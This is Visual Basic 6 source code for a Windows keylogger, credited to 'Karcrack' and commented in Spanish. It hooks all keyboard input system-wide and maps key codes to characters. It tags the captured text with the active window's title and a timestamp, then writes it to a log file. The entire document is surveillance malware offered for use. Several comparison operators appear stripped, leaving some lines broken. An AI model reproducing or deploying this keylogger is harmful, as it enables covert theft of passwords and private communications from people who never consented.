Option Explicit
 
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‘|Autor: Karcrack |
‘|Fecha: 24/09/08 |
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Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL As Long = 13
 
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
Public Type KBDLLHOOKSTRUCT
VkCode As Long
ScanCode As Long
Flags As Long
Time As Long
DwExtraInfo As Long
End Type
 
Dim KBHook As Long
Dim KeyData As String
Dim lHwnd As Long
 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
Select Case Enable
Case True
KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
Case False
Call UnhookWindowsHookEx(KBHook)
End Select
End Sub
 
Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
Dim KeyBoardHook As KBDLLHOOKSTRUCT
 
If nCode = 0 Then
CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
With KeyBoardHook
If .Flags = 0 Or .Flags = 1 Then
If SaveLog(TranslateKey(.VkCode)) > 50 Then
Call LogToFile(App.Path & "\\Log.log")
End If
End If
End With
Else
KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
End If
End Function
 
Private Function TranslateKey(ByVal KeyCode As Long) As String
Dim LngShift As Long
 
‘Funcion optimizada para su uso en teclados españoles.
 
LngShift = GetAsyncKeyState(vbKeyShift)
If KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = IIf(LngShift 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode = 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift 0, "_", "-")
If KeyCode = 191 Then TranslateKey = IIf(LngShift 0, "‘", "#")
If KeyCode = 187 Then TranslateKey = IIf(LngShift 0, "*", "+")
If KeyCode = 186 Then TranslateKey = IIf(LngShift 0, "Ü", "ü")
If KeyCode = 192 Then TranslateKey = IIf(LngShift 0, "Ö", "ö")
If KeyCode = 222 Then TranslateKey = IIf(LngShift 0, "Ä", "ä")
If KeyCode = 219 Then TranslateKey = IIf(LngShift 0, "?", "ß")
If KeyCode = 220 Then TranslateKey = IIf(LngShift 0, "°", "^")
If KeyCode = 48 Then TranslateKey = IIf(LngShift 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift 0, "§", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If TranslateKey = "" And KeyCode 160 Then TranslateKey = KeyCode
End If
End Function
 
Public Function SaveLog(ByVal sKey As String) As Double
Dim aHwnd As Long
Dim WinText As String
aHwnd = GetForegroundWindow
 
If aHwnd lHwnd Then
lHwnd = aHwnd
WinText = String$(255, Chr$(0))
Call GetWindowText(aHwnd, WinText, Len(WinText))
WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
 
KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
End If
 
KeyData = KeyData & sKey
 
SaveLog = Len(KeyData)
End Function
 
Public Sub LogToFile(ByVal sPath As String)
Open sPath For Binary As #1
Put #1, , KeyData
Close #1
End Sub